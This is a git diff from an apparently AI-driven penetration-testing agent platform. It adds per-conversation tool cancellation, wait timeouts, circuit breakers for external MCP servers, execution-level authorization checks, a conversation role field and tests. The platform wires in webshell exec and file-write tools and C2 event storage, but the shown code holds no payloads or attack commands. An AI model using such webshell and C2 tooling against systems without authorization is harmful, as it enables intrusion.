currentConversationID string // 当前对话ID(用于自动传递给工具
promptBaseDir string // 解析 system_prompt_path 时相对路径的基准目录(通常为 config.yaml 所在目录)
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
openAIClient *openai.Client
config *config.OpenAIConfig
agentConfig *config.AgentConfig
mcpServer *mcp.Server
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
logger *zap.Logger
maxIterations int
mu sync.RWMutex // 添加互斥锁以支持并发更新
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
promptBaseDir string // 解析 system_prompt_path 时相对路径的基准目录(通常为 config.yaml 所在目录
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
}
type agentConversationIDKey struct{}
@@ -526,12 +525,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
// 如果是record_vulnerability工具,自动添加conversation_id
if toolName == builtin.ToolRecordVulnerability {
conversationID := agentConversationIDFromContext(ctx)
if conversationID == "" {
a.mu.RLock()
conversationID = a.currentConversationID
a.mu.RUnlock()
}
if conversationID != "" {
args["conversation_id"] = conversationID
a.logger.Debug("自动添加conversation_id到record_vulnerability工具",
@@ -769,16 +762,8 @@ func (a *Agent) ToolsForRole(roleTools []string) []Tool {
// ExecuteMCPToolForConversation 在指定会话上下文中执行 MCP 工具(行为与主 Agent 循环中的工具调用一致,如自动注入 conversation_id)。
func (a *Agent) ExecuteMCPToolForConversation(ctx context.Context, conversationID, toolName string, args map[string]interface{}) (*ToolExecutionResult, error) {
a.mu.Lock()
prev := a.currentConversationID
a.currentConversationID = conversationID
a.mu.Unlock()
defer func() {
a.mu.Lock()
a.currentConversationID = prev
a.mu.Unlock()
}()
ctx = withAgentConversationID(ctx, conversationID)
ctx = mcp.WithMCPConversationID(ctx, conversationID)
return a.executeToolViaMCP(ctx, toolName, args)
}
@@ -798,6 +783,28 @@ func (a *Agent) FinishLocalToolExecution(ctx context.Context, executionID, toolN
return a.mcpServer.FinishToolExecution(ctx, executionID, toolName, args, resultText, invokeErr)
}
// AppendLocalToolExecutionPartialOutput records a bounded live-output preview for a running local tool.
func (a *Agent) AppendLocalToolExecutionPartialOutput(executionID, chunk string) {
if a == nil || a.mcpServer == nil {
return
}
a.mcpServer.AppendToolExecutionPartialOutput(executionID, chunk)
}
func (a *Agent) RegisterLocalToolExecutionCancel(executionID string, cancel context.CancelFunc) {
if a == nil || a.mcpServer == nil {
return
}
a.mcpServer.RegisterToolExecutionCancel(executionID, cancel)
}
func (a *Agent) UnregisterLocalToolExecutionCancel(executionID string) {
if a == nil || a.mcpServer == nil {
return
}
a.mcpServer.UnregisterToolExecutionCancel(executionID)
}
// RecordLocalToolExecution 将非 CallTool 路径完成的工具调用写入 MCP 监控库(与 CallTool 落库一致),返回 executionId。
// 用于 Eino filesystem execute 等场景,使助手气泡「渗透测试详情」与常规 MCP 一致可点进监控。
func (a *Agent) RecordLocalToolExecution(ctx context.Context, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
@@ -837,6 +844,46 @@ func (a *Agent) CancelMCPToolExecutionWithNote(executionID, note string) bool {
return false
}
// CancelRunningMCPToolsForConversation cancels all currently running internal/external MCP executions
// owned by the conversation. It is used when a session ends or the user stops a task.
func (a *Agent) CancelRunningMCPToolsForConversation(conversationID, note string) int {
conversationID = strings.TrimSpace(conversationID)
if a == nil || conversationID == "" {
return 0
}
note = strings.TrimSpace(note)
seen := make(map[string]struct{})
cancelled := 0
cancelIfConversationMatches := func(execID string, get func(string) (*mcp.ToolExecution, bool), cancel func(string, string) bool) {
execID = strings.TrimSpace(execID)
if execID == "" {
return
}
if _, ok := seen[execID]; ok {
return
}
seen[execID] = struct{}{}
exec, ok := get(execID)
if !ok || exec == nil || strings.TrimSpace(exec.ConversationID) != conversationID {
return
}
if cancel(execID, note) {
cancelled++
}
}
if a.mcpServer != nil {
for execID := range a.mcpServer.ActiveRunningExecutionIDs() {
cancelIfConversationMatches(execID, a.mcpServer.GetExecution, a.mcpServer.CancelToolExecutionWithNote)
}
}
if a.externalMCPMgr != nil {
for execID := range a.externalMCPMgr.ActiveRunningExecutionIDs() {
cancelIfConversationMatches(execID, a.externalMCPMgr.GetExecution, a.externalMCPMgr.CancelToolExecutionWithNote)
}
}
return cancelled
}
// extractQuotedToolName 尝试从错误信息中提取被引用的工具名称
func extractQuotedToolName(errMsg string) string {
start := strings.Index(errMsg, "\"")
+143
View File
@@ -1,10 +1,15 @@
package agent
import (
"context"
"strings"
"sync"
"testing"
"time"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/mcp/builtin"
"go.uber.org/zap"
)
@@ -65,3 +70,141 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
}
}
func TestAgentCancelRunningMCPToolsForConversation(t *testing.T) {
ag := setupTestAgent(t)
ag.mcpServer.ConfigureToolWaitTimeoutSeconds(1)
ag.mcpServer.RegisterTool(mcp.Tool{Name: "block", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
<-ctx.Done()
return nil, ctx.Err()
})
ctx1 := mcp.WithMCPConversationID(context.Background(), "conv-1")
result1, execID1, err := ag.mcpServer.CallTool(ctx1, "block", nil)
if err != nil {
t.Fatalf("CallTool conv-1: %v", err)
}
if result1 == nil || !result1.IsError || execID1 == "" {
t.Fatalf("expected bounded wait for conv-1, result=%#v id=%q", result1, execID1)
}
ctx2 := mcp.WithMCPConversationID(context.Background(), "conv-2")
result2, execID2, err := ag.mcpServer.CallTool(ctx2, "block", nil)
if err != nil {
t.Fatalf("CallTool conv-2: %v", err)
}
if result2 == nil || !result2.IsError || execID2 == "" {
t.Fatalf("expected bounded wait for conv-2, result=%#v id=%q", result2, execID2)
}
if got := ag.CancelRunningMCPToolsForConversation("conv-1", "session ended"); got != 1 {
t.Fatalf("cancelled count = %d, want 1", got)
}
deadline := time.Now().Add(time.Second)
for time.Now().Before(deadline) {
exec1, _ := ag.mcpServer.GetExecution(execID1)
exec2, _ := ag.mcpServer.GetExecution(execID2)
if exec1 != nil && exec1.Status == mcp.ToolExecutionStatusCancelled {
if exec2 == nil || exec2.Status != mcp.ToolExecutionStatusRunning {
t.Fatalf("conv-2 execution should remain running, got %#v", exec2)
}
if !strings.Contains(exec1.Error, "session ended") && (exec1.Result == nil || !strings.Contains(mcp.ToolResultPlainText(exec1.Result), "session ended")) {
t.Fatalf("cancel note missing from conv-1 execution: %#v", exec1)
}
_ = ag.CancelRunningMCPToolsForConversation("conv-2", "")
return
}
time.Sleep(10 * time.Millisecond)
}
t.Fatal("conv-1 execution did not become cancelled")
}
func TestExecuteMCPToolForConversationInjectsConversationID(t *testing.T) {
ag := setupTestAgent(t)
gotArgs := make(chan map[string]interface{}, 1)
ag.mcpServer.RegisterTool(mcp.Tool{Name: builtin.ToolRecordVulnerability, InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
gotArgs <- args
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "ok"}}}, nil
})
result, err := ag.ExecuteMCPToolForConversation(context.Background(), "conv-record", builtin.ToolRecordVulnerability, map[string]interface{}{})
if err != nil {
t.Fatalf("ExecuteMCPToolForConversation: %v", err)
}
if result == nil || result.IsError {
t.Fatalf("expected successful result, got %#v", result)
}
select {
case args := <-gotArgs:
if got := args["conversation_id"]; got != "conv-record" {
t.Fatalf("conversation_id = %#v, want conv-record", got)
}
case <-time.After(time.Second):
t.Fatal("tool was not called")
}
}
func TestExecuteMCPToolForConversationBindsExecutionConversation(t *testing.T) {
ag := setupTestAgent(t)
ag.mcpServer.ConfigureToolWaitTimeoutSeconds(1)
release := make(chan struct{})
ag.mcpServer.RegisterTool(mcp.Tool{Name: "slow-bind", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
select {
case <-release:
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "done"}}}, nil
case <-ctx.Done():
return nil, ctx.Err()
}
})
result, err := ag.ExecuteMCPToolForConversation(context.Background(), "conv-bound", "slow-bind", nil)
if err != nil {
t.Fatalf("ExecuteMCPToolForConversation: %v", err)
}
if result == nil || !result.IsError || result.ExecutionID == "" {
t.Fatalf("expected bounded wait result with execution id, result=%#v", result)
}
exec, ok := ag.mcpServer.GetExecution(result.ExecutionID)
if !ok || exec == nil {
t.Fatalf("missing execution %q", result.ExecutionID)
}
if exec.ConversationID != "conv-bound" {
t.Fatalf("execution conversation = %q, want conv-bound", exec.ConversationID)
}
close(release)
}
func TestExecuteMCPToolForConversationConcurrentRecordIsolation(t *testing.T) {
ag := setupTestAgent(t)
seen := make(chan string, 2)
ag.mcpServer.RegisterTool(mcp.Tool{Name: builtin.ToolRecordVulnerability, InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
if conv, _ := args["conversation_id"].(string); conv != "" {
seen <- conv
}
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "ok"}}}, nil
})
var wg sync.WaitGroup
for _, conv := range []string{"conv-a", "conv-b"} {
conv := conv
wg.Add(1)
go func() {
defer wg.Done()
if _, err := ag.ExecuteMCPToolForConversation(context.Background(), conv, builtin.ToolRecordVulnerability, map[string]interface{}{}); err != nil {
t.Errorf("ExecuteMCPToolForConversation %s: %v", conv, err)
}
}()
}
wg.Wait()
close(seen)
got := map[string]int{}
for conv := range seen {
got[conv]++
}
if got["conv-a"] != 1 || got["conv-b"] != 1 {
t.Fatalf("conversation ids = %#v, want one call for conv-a and conv-b", got)
}
}
+16
View File
@@ -148,10 +148,15 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
mcpServer := mcp.NewServerWithStorage(log.Logger, db)
mcpServer.SetToolAuthorizer(mcpToolAuthorizer(db))
mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(cfg.Agent.ToolTimeoutMinutes)
mcpServer.ConfigureToolWaitTimeoutSeconds(cfg.Agent.ToolWaitTimeoutSeconds)
mcpServer.ConfigureToolResultMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
mcpServer.ConfigureToolResultSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
// 创建安全工具执行器
executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
executor.SetShellNoOutputTimeoutSeconds(cfg.Agent.ShellNoOutputTimeoutSeconds)
executor.SetToolOutputMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
executor.SetToolOutputSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
// 注册工具
executor.RegisterTools(mcpServer)
@@ -165,6 +170,16 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
// 创建外部MCP管理器(使用与内部MCP服务器相同的存储)
externalMCPMgr := mcp.NewExternalMCPManagerWithStorage(log.Logger, db)
externalMCPMgr.SetToolAuthorizer(externalMCPToolAuthorizer())
externalMCPMgr.ConfigureToolWaitTimeoutSeconds(cfg.Agent.ToolWaitTimeoutSeconds)
externalMCPMgr.ConfigureToolResultMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
externalMCPMgr.ConfigureToolResultSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
MaxConcurrentPerServer: cfg.Agent.ExternalMCPMaxConcurrentPerServer,
MaxConcurrentTotal: cfg.Agent.ExternalMCPMaxConcurrentTotal,
CircuitFailureThreshold: cfg.Agent.ExternalMCPCircuitFailureThreshold,
CircuitCooldown: time.Duration(cfg.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
})
mcp.RegisterExecutionControlTools(mcpServer, externalMCPMgr)
if cfg.ExternalMCP.Servers != nil {
externalMCPMgr.LoadConfigs(&cfg.ExternalMCP)
// 启动所有启用的外部MCP客户端
@@ -1322,6 +1337,7 @@ func setupRoutes(
// 对话附件(chat_uploads)管理
protected.GET("/chat-uploads", chatUploadsHandler.List)
protected.GET("/chat-uploads/export", chatUploadsHandler.Export)
protected.GET("/chat-uploads/download", chatUploadsHandler.Download)
protected.GET("/chat-uploads/content", chatUploadsHandler.GetContent)
protected.POST("/chat-uploads", chatUploadsHandler.Upload)
+14
View File
@@ -34,6 +34,16 @@ func mcpToolAuthorizer(db *database.DB) func(context.Context, string, map[string
}
return nil
}
toolExecutionResource := func(permission string) error {
if err := require(permission); err != nil {
return err
}
id := mcpAuthorizationString(args, "execution_id")
if id == "" || db == nil || !db.UserCanAccessToolExecution(principal.UserID, principal.ScopeFor(permission), id) {
return fmt.Errorf("no access to tool execution %s", id)
}
return nil
}
switch toolName {
case builtin.ToolWebshellExec, builtin.ToolWebshellFileWrite:
@@ -108,6 +118,10 @@ func mcpToolAuthorizer(db *database.DB) func(context.Context, string, map[string
return require("knowledge:read")
case builtin.ToolAnalyzeImage:
return require("agent:execute")
case builtin.ToolGetToolExecution, builtin.ToolWaitToolExecution:
return toolExecutionResource("monitor:read")
case builtin.ToolCancelToolExecution:
return toolExecutionResource("monitor:write")
case builtin.ToolBatchTaskList:
return require("tasks:read")
case builtin.ToolBatchTaskGet:
+41 -1
View File
@@ -9,6 +9,7 @@ import (
"cyberstrike-ai/internal/authctx"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/mcp/builtin"
"cyberstrike-ai/internal/security"
@@ -62,7 +63,7 @@ func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
authorize := mcpToolAuthorizer(db)
args := map[string]interface{}{
"action": "get", "connection_id": "x", "queue_id": "x", "listener_id": "x",
"session_id": "x", "task_id": "x", "id": "x", "conversation_id": "x",
"session_id": "x", "task_id": "x", "id": "x", "conversation_id": "x", "execution_id": "x",
}
for _, toolName := range builtin.GetAllBuiltinTools() {
err := authorize(ctx, toolName, args)
@@ -72,6 +73,45 @@ func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
}
}
func TestMCPExecutionControlAuthorizationUsesExecutionScope(t *testing.T) {
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-exec-authz.db"), zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
user, err := db.CreateRBACUser("exec-user", "Exec User", "hash", true, nil)
if err != nil {
t.Fatal(err)
}
if err := db.SaveToolExecution(&mcp.ToolExecution{
ID: "exec-owned",
ToolName: "lab::slow",
Status: "running",
StartTime: time.Now(),
OwnerUserID: user.ID,
}); err != nil {
t.Fatal(err)
}
if err := db.SaveToolExecution(&mcp.ToolExecution{
ID: "exec-hidden",
ToolName: "lab::slow",
Status: "running",
StartTime: time.Now(),
}); err != nil {
t.Fatal(err)
}
principal := authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, map[string]bool{"monitor:read": true, "monitor:write": true})
ctx := authctx.WithPrincipal(context.Background(), principal)
authorize := mcpToolAuthorizer(db)
if err := authorize(ctx, builtin.ToolWaitToolExecution, map[string]interface{}{"execution_id": "exec-owned"}); err != nil {
t.Fatalf("owned execution denied: %v", err)
}
if err := authorize(ctx, builtin.ToolCancelToolExecution, map[string]interface{}{"execution_id": "exec-hidden"}); err == nil {
t.Fatal("foreign execution was allowed")
}
}
func TestMCPAssetToolAuthorizationUsesAssetPermissionsAndScope(t *testing.T) {
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-asset-authz.db"), zap.NewNop())
if err != nil {
+15 -5
View File
@@ -912,8 +912,13 @@ type DatabaseConfig struct {
}
type AgentConfig struct {
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
ToolWaitTimeoutSeconds int `yaml:"tool_wait_timeout_seconds" json:"tool_wait_timeout_seconds"` // 工具本轮等待秒数;到时返回 execution_idworker 继续后台执行;0 表示等到完成
ExternalMCPMaxConcurrentPerServer int `yaml:"external_mcp_max_concurrent_per_server" json:"external_mcp_max_concurrent_per_server"` // 单个外部 MCP server 同时运行的工具数;0 表示默认 2
ExternalMCPMaxConcurrentTotal int `yaml:"external_mcp_max_concurrent_total" json:"external_mcp_max_concurrent_total"` // 所有外部 MCP 工具全局并发;0 表示默认 16
ExternalMCPCircuitFailureThreshold int `yaml:"external_mcp_circuit_failure_threshold" json:"external_mcp_circuit_failure_threshold"` // 单个 MCP server 连续失败多少次后打开熔断;0 表示默认 3;负数关闭
ExternalMCPCircuitCooldownSeconds int `yaml:"external_mcp_circuit_cooldown_seconds" json:"external_mcp_circuit_cooldown_seconds"` // 熔断后冷却秒数;0 表示默认 60
// ShellNoOutputTimeoutSeconds execute/exec 无任何 stdout/stderr 时的空闲终止秒数(通用防挂死,不维护命令黑名单);0=默认 300(5 分钟);-1=关闭。
ShellNoOutputTimeoutSeconds int `yaml:"shell_no_output_timeout_seconds" json:"shell_no_output_timeout_seconds"`
// WorkspaceRootDir 会话工作目录根路径(curl/wget 下载、read_file/glob/grep 本地分析);空=tmp/workspace,其下按 projects/{id} 或 conversations/{id} 隔离。
@@ -1722,9 +1727,14 @@ func Default() *Config {
MaxCompletionTokens: DefaultMaxCompletionTokens,
},
Agent: AgentConfig{
MaxIterations: 30, // 默认最大迭代次数
ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟,避免异常长时间占用
ShellNoOutputTimeoutSeconds: 300, // execute/exec 无新输出空闲终止(秒);-1 关闭
MaxIterations: 30, // 默认最大迭代次数
ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟,避免异常长时间占用
ToolWaitTimeoutSeconds: 60, // 外部 MCP 工具单轮最多等待 60 秒,超时后返回 execution_id 可继续等待
ExternalMCPMaxConcurrentPerServer: 2, // 单个外部 MCP server 默认最多 2 个工具同时执行
ExternalMCPMaxConcurrentTotal: 16, // 外部 MCP 工具全局默认最多 16 个同时执行
ExternalMCPCircuitFailureThreshold: 3, // 单个 server 连续 3 次失败后临时熔断
ExternalMCPCircuitCooldownSeconds: 60, // 熔断默认冷却 60 秒
ShellNoOutputTimeoutSeconds: 300, // execute/exec 无新输出空闲终止(秒);-1 关闭
},
Security: SecurityConfig{
Tools: []ToolConfig{}, // 工具配置应该从 config.yaml 或 tools/ 目录加载
+33 -4
View File
@@ -1387,7 +1387,9 @@ func (db *DB) AppendC2Event(e *C2Event) error {
return errors.New("event id is required")
}
if e.CreatedAt.IsZero() {
e.CreatedAt = time.Now()
e.CreatedAt = time.Now().UTC()
} else {
e.CreatedAt = e.CreatedAt.UTC()
}
if strings.TrimSpace(e.Level) == "" {
e.Level = "info"
@@ -1402,7 +1404,7 @@ func (db *DB) AppendC2Event(e *C2Event) error {
INSERT INTO c2_events (id, level, category, session_id, task_id, message, data_json, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
`
_, err := db.Exec(query, e.ID, e.Level, e.Category, e.SessionID, e.TaskID, e.Message, dataJSON, e.CreatedAt)
_, err := db.Exec(query, e.ID, e.Level, e.Category, e.SessionID, e.TaskID, e.Message, dataJSON, formatSQLiteUTC(e.CreatedAt))
return err
}
@@ -1437,8 +1439,8 @@ func buildC2EventsWhere(filter ListC2EventsFilter) (where string, args []interfa
args = append(args, filter.TaskID)
}
if filter.Since != nil {
conditions = append(conditions, "created_at >= ?")
args = append(args, *filter.Since)
conditions = append(conditions, sqliteEpochGE("created_at", ">="))
args = append(args, formatSQLiteUTC(*filter.Since))
}
return strings.Join(conditions, " AND "), args
}
@@ -1510,6 +1512,33 @@ func (db *DB) CountC2EventsForAccess(filter ListC2EventsFilter, access RBACListA
return n, err
}
// CountC2EventsByLevelForAccess 与 ListC2Events 相同过滤条件下按级别统计
func (db *DB) CountC2EventsByLevelForAccess(filter ListC2EventsFilter, access RBACListAccess) (map[string]int64, error) {
where, args := buildC2EventsWhereForAccess(filter, access)
query := `SELECT level, COUNT(*) FROM c2_events WHERE ` + where + ` GROUP BY level`
rows, err := db.Query(query, args...)
if err != nil {
return nil, err
}
defer rows.Close()
counts := map[string]int64{
"info": 0,
"warn": 0,
"critical": 0,
}
for rows.Next() {
var level string
var n int64
if err := rows.Scan(&level, &n); err != nil {
continue
}
if _, ok := counts[level]; ok {
counts[level] = n
}
}
return counts, rows.Err()
}
// ListC2Events 事件查询,按创建时间倒序
func (db *DB) ListC2Events(filter ListC2EventsFilter) ([]*C2Event, error) {
where, args := buildC2EventsWhere(filter)
+69 -95
View File
@@ -22,6 +22,7 @@ type Conversation struct {
ID string `json:"id"`
Title string `json:"title"`
ProjectID string `json:"projectId,omitempty"`
RoleName string `json:"roleName,omitempty"`
Pinned bool `json:"pinned"`
CreatedAt time.Time `json:"createdAt"`
UpdatedAt time.Time `json:"updatedAt"`
@@ -57,29 +58,30 @@ func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string,
return nil, err
}
}
roleName := normalizeConversationRoleName(meta.RoleName)
var err error
wsID := strings.TrimSpace(webshellConnectionID)
switch {
case wsID != "" && projectID != "":
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, project_id) VALUES (?, ?, ?, ?, ?, ?)",
id, title, now, now, wsID, projectID,
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, project_id, role_name) VALUES (?, ?, ?, ?, ?, ?, ?)",
id, title, now, now, wsID, projectID, roleName,
)
case wsID != "":
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id) VALUES (?, ?, ?, ?, ?)",
id, title, now, now, wsID,
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, role_name) VALUES (?, ?, ?, ?, ?, ?)",
id, title, now, now, wsID, roleName,
)
case projectID != "":
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at, project_id) VALUES (?, ?, ?, ?, ?)",
id, title, now, now, projectID,
"INSERT INTO conversations (id, title, created_at, updated_at, project_id, role_name) VALUES (?, ?, ?, ?, ?, ?)",
id, title, now, now, projectID, roleName,
)
default:
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at) VALUES (?, ?, ?, ?)",
id, title, now, now,
"INSERT INTO conversations (id, title, created_at, updated_at, role_name) VALUES (?, ?, ?, ?, ?)",
id, title, now, now, roleName,
)
}
if err != nil {
@@ -90,6 +92,7 @@ func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string,
ID: id,
Title: title,
ProjectID: projectID,
RoleName: roleName,
CreatedAt: now,
UpdatedAt: now,
}
@@ -236,10 +239,11 @@ func (db *DB) GetConversation(id string) (*Conversation, error) {
var pinned int
var projectID sql.NullString
var roleName sql.NullString
err := db.QueryRow(
"SELECT id, title, pinned, created_at, updated_at, project_id FROM conversations WHERE id = ?",
"SELECT id, title, pinned, created_at, updated_at, project_id, role_name FROM conversations WHERE id = ?",
id,
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID)
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName)
if err != nil {
if err == sql.ErrNoRows {
return nil, fmt.Errorf("对话不存在")
@@ -249,6 +253,9 @@ func (db *DB) GetConversation(id string) (*Conversation, error) {
if projectID.Valid {
conv.ProjectID = strings.TrimSpace(projectID.String)
}
if roleName.Valid {
conv.RoleName = normalizeConversationRoleName(roleName.String)
}
// 尝试多种时间格式解析
var err1, err2 error
@@ -322,10 +329,11 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
var pinned int
var projectID sql.NullString
var roleName sql.NullString
err := db.QueryRow(
"SELECT id, title, pinned, created_at, updated_at, project_id FROM conversations WHERE id = ?",
"SELECT id, title, pinned, created_at, updated_at, project_id, role_name FROM conversations WHERE id = ?",
id,
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID)
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName)
if err != nil {
if err == sql.ErrNoRows {
return nil, fmt.Errorf("对话不存在")
@@ -335,6 +343,9 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
if projectID.Valid {
conv.ProjectID = strings.TrimSpace(projectID.String)
}
if roleName.Valid {
conv.RoleName = normalizeConversationRoleName(roleName.String)
}
// 尝试多种时间格式解析
var err1, err2 error
@@ -365,6 +376,26 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
return &conv, nil
}
func normalizeConversationRoleName(roleName string) string {
roleName = strings.TrimSpace(roleName)
if roleName == "" {
return "默认"
}
return roleName
}
func (db *DB) SetConversationRoleName(id, roleName string) error {
roleName = normalizeConversationRoleName(roleName)
_, err := db.Exec(
"UPDATE conversations SET role_name = ?, updated_at = ? WHERE id = ?",
roleName, time.Now(), id,
)
if err != nil {
return fmt.Errorf("更新对话角色失败: %w", err)
}
return nil
}
func conversationProjectIDColumn(alias string) string {
if alias != "" {
return alias + ".project_id"
@@ -489,7 +520,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
where, args = appendConversationProjectFilter(where, args, projectID, "c")
args = append(args, limit, offset)
rows, err = db.Query(
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name
FROM conversations c`+where+`
`+orderClause+`
LIMIT ? OFFSET ?`,
@@ -505,7 +536,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
}
args = append(args, limit, offset)
rows, err = db.Query(
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
args...,
)
}
@@ -514,45 +545,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
return nil, fmt.Errorf("查询对话列表失败: %w", err)
}
defer rows.Close()
var conversations []*Conversation
for rows.Next() {
var conv Conversation
var createdAt, updatedAt string
var pinned int
var projectID sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
return nil, fmt.Errorf("扫描对话失败: %w", err)
}
if projectID.Valid {
conv.ProjectID = strings.TrimSpace(projectID.String)
}
// 尝试多种时间格式解析
var err1, err2 error
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
if err1 != nil {
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
}
if err1 != nil {
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
}
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
if err2 != nil {
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
}
if err2 != nil {
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
}
conv.Pinned = pinned != 0
conversations = append(conversations, &conv)
}
return conversations, nil
return scanConversationRows(rows)
}
func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, projectID, userID, scope string) ([]*Conversation, error) {
@@ -571,7 +564,7 @@ func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, proj
where, args = appendConversationAccessFilter(where, args, userID, scope, "c")
args = append(args, limit, offset)
rows, err = db.Query(
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name
FROM conversations c`+where+`
`+orderClause+`
LIMIT ? OFFSET ?`, args...)
@@ -586,7 +579,7 @@ func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, proj
}
args = append(args, limit, offset)
rows, err = db.Query(
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
args...)
}
if err != nil {
@@ -603,12 +596,16 @@ func scanConversationRows(rows *sql.Rows) ([]*Conversation, error) {
var createdAt, updatedAt string
var pinned int
var projectID sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
var roleName sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName); err != nil {
return nil, fmt.Errorf("扫描对话失败: %w", err)
}
if projectID.Valid {
conv.ProjectID = strings.TrimSpace(projectID.String)
}
if roleName.Valid {
conv.RoleName = normalizeConversationRoleName(roleName.String)
}
var err1, err2 error
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
if err1 != nil {
@@ -668,7 +665,7 @@ func (db *DB) ListUngroupedConversations(limit, offset int, sortBy, projectID st
where, args = appendConversationProjectFilter(where, args, projectID, "c")
args = append(args, limit, offset)
rows, err := db.Query(
